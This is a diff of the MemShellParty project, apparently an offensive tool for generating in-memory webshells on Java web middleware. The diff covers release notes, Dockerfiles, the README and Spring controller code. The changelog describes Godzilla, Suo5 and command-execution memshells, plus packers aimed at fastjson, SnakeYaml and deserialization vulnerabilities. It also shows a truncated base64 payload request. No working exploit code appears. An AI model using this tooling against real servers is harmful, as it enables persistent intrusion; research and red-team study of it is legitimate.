3. 支持 Spring 相关集成测试用例调用远程 docker 完成测试(目前所有集成测试用例可支持在远程 docker 执行)[customizing-docker-host-detection](https://java.testcontainers.org/features/configuration/#customizing-docker-host-detection)
|
|
||||||
4. 配置 Gradle 构建打包自动发布至 Maven Central(不需要额外去网页手动点 Publish)
|
|
||||||
5. 重命名仓库中 asserts -> assets
|
|
||||||
6. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.4.2...v2.5.0](https://github.com/ReaJason/MemShellParty/compare/v2.4.2...v2.5.0)
|
|
||||||
|
|
||||||
## [v2.4.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.2) - 2026-01-12
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 新增对 WebSphere open-liberty 的内存马注入以及回显马(By @ReaJason)
|
|
||||||
2. 支持 Filter 调序为第一个,解决部分鉴权 Filter 的连接干扰
|
|
||||||
3. 新增回显马可回显 Filter 列表
|
|
||||||
4. 添加 libs 子模块,存放部分中间件源码包方便进行代码编写和调试以及便于编写后续源码分析文档
|
|
||||||
5. 目标服务文档填写适配表格,展示各版本该如何选取对应内存马挂载类型,https://dev-party.mem.mk/ui/docs/server-intro
|
|
||||||
6. 添加文档 tree 结构,欢迎一起完善文档
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复注入器上下文获取失败时不会正确打印 `context not found`
|
|
||||||
2. 修复文档页直接点击子菜单时 502 无法正确显示
|
|
||||||
3. 修复 web 前端项目无法在 Windows 环境正确编译(Thanks @kN6jq)
|
|
||||||
4. 修复 Jetty 回显马,直接使用 Request 和 Callback 导致部分环境 ClassNotFound 问题(改用反射调用)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 调整 testcontainer 获取 host 的处理,支持使用远程 docker 环境完成测试
|
|
||||||
2. 简化 WebLogic context 获取代码,改为从 JMX 中获取
|
|
||||||
3. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.4.1...v2.4.2](https://github.com/ReaJason/MemShellParty/compare/v2.4.1...v2.4.2)
|
|
||||||
|
|
||||||
## [v2.4.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.1) - 2025-12-16
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复 Suo5v2、Godzilla、Command Listener 等无法中断请求的场景下未 close 响应流导致连接失败 (#120 By @ReaJason, @zema1 Thanks @whwlsfb)
|
|
||||||
2. 修复非调试模式下,throwable.printStackTrace 未被正确移除
|
|
||||||
3. 修复 responseBody 回显马如果业务优先触发 getOutputStream 或 getWriter 导致回显失败(#122 Thanks @localurk)
|
|
||||||
4. 修复某软新版获取不到 context 导致 Tomcat 内存马无法注入的问题(Thanks @unam4)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. generator 模块去除 bcel 依赖,简化 jackson 依赖
|
|
||||||
2. UI 添加 tooltip 简易描述方便使用,并优化部分布局细节
|
|
||||||
3. UI 迁移 radix-ui 至 base-ui
|
|
||||||
4. 文档更新、依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.4.0...v2.4.1](https://github.com/ReaJason/MemShellParty/compare/v2.4.0...v2.4.1)
|
|
||||||
|
|
||||||
## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
|
|
||||||
2. 支持 Struts2 Action 内存马与回显马生成
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. ui 探测马生成去除 jar 相关打包方式
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
|
|
||||||
|
|
||||||
## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 支持 Jetty Handler 与 Customizer 内存马生成(By @ReaJason)
|
|
||||||
2. 支持 Jetty ee8~ee11 的回显马(无法从 post urlencoded 中获取 parameter,请从 url queryParam 或 header 传入参数)
|
|
||||||
3. **内存马生成支持回显模式对接回显马**
|
|
||||||
4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用)
|
|
||||||
5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97))
|
|
||||||
6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack))
|
|
||||||
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
|
|
||||||
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写
|
|
||||||
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
|
|
||||||
10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1))
|
|
||||||
11. 回显马参数名称支持默认随机生成
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow
|
|
||||||
2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间
|
|
||||||
3. boot 接口添加 /api 前缀,web 添加 /ui 前缀
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
|
|
||||||
|
|
||||||
## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason)
|
|
||||||
2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名
|
|
||||||
3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud)
|
|
||||||
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
|
|
||||||
5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法
|
|
||||||
6. 支持 SpringWebMVC 回显马生成(#107)
|
|
||||||
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
|
|
||||||
8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109)
|
|
||||||
9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入
|
|
||||||
10. 支持脚本引擎执行回显马生成,方便调试
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复自定义内存马生成报错(#102、#106,Thanks @love71 and @m0s30)
|
|
||||||
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71)
|
|
||||||
3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
|
|
||||||
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
|
|
||||||
3. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)
|
|
||||||
|
|
||||||
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
|
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -292,13 +14,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
|
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
|
||||||
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
|
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
|
||||||
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
|
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
|
||||||
|
|
||||||
```http
|
```http
|
||||||
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
|
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
|
||||||
```
|
```
|
||||||
|
|
||||||
改为只需要如下方式
|
改为只需要如下方式
|
||||||
|
|
||||||
```http
|
```http
|
||||||
/path/code?payload=IBVQEAJ29yZy9hcGFj...
|
/path/code?payload=IBVQEAJ29yZy9hcGFj...
|
||||||
```
|
```
|
||||||
@@ -310,13 +29,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel)
|
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel)
|
||||||
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
|
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
|
||||||
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
|
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
|
||||||
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93)
|
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
|
|
||||||
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
|
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
|
||||||
2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
|
2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
|
||||||
3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
|
3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
|
||||||
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
|
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
|
||||||
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
|
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
|
||||||
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
|
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
|
||||||
@@ -6,18 +6,17 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH=""
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -36,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -25,10 +25,10 @@
|
|||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,6 +78,23 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 移除之前部署的
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
## User Guide
|
||||||
|
|
||||||
|
1. [适配情况](./docs/Compatibility.md)
|
||||||
|
2. [本地构建](./docs/BuildOnLocal.md)
|
||||||
|
3. [SDK 集成](./examples/memshell-party-maven-example)
|
||||||
|
4. [代码贡献](./CONTRIBUTING.md)
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
RUN pip install requests
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "4.1.0"
|
id("org.springframework.boot") version "3.5.3"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,18 +21,20 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":packer")) {
|
implementation(project(":packer")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
|
}
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.springframework.asm.ClassReader;
|
|
||||||
import org.springframework.cglib.core.ClassNameReader;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ClassNameParseController {
|
|
||||||
|
|
||||||
@PostMapping("/api/className")
|
|
||||||
public String className(@RequestBody String classBase64) {
|
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,12 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.boot.vo.PackerVO;
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -19,16 +17,11 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #config()} for memshell configuration and
|
|
||||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
@@ -40,40 +33,16 @@ public class ConfigController {
|
|||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers")
|
@RequestMapping("/packers")
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public List<String> getPackers() {
|
public List<String> getPackers() {
|
||||||
return Arrays.stream(Packers.values())
|
return Arrays.stream(Packers.values())
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
.map(Packers::name).toList();
|
.map(Packers::name).toList();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
|
||||||
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers/tree")
|
|
||||||
public List<PackerVO> getPackerTree() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(packers -> new PackerVO(
|
|
||||||
packers.name(),
|
|
||||||
Packers.getPackersWithParent(packers.getInstance().getClass())
|
|
||||||
.stream().map(Packers::name).toList()))
|
|
||||||
.toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping("/probe/response-body/servers")
|
|
||||||
public List<String> getProbeResponseBodyServers() {
|
|
||||||
return ResponseBodyGenerator.getSupportedServers();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
|||||||
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -19,7 +19,7 @@ import java.util.Base64;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/memshell/generate")
|
@RequestMapping("/memshell/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class MemShellGeneratorController {
|
public class MemShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
|||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
}
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
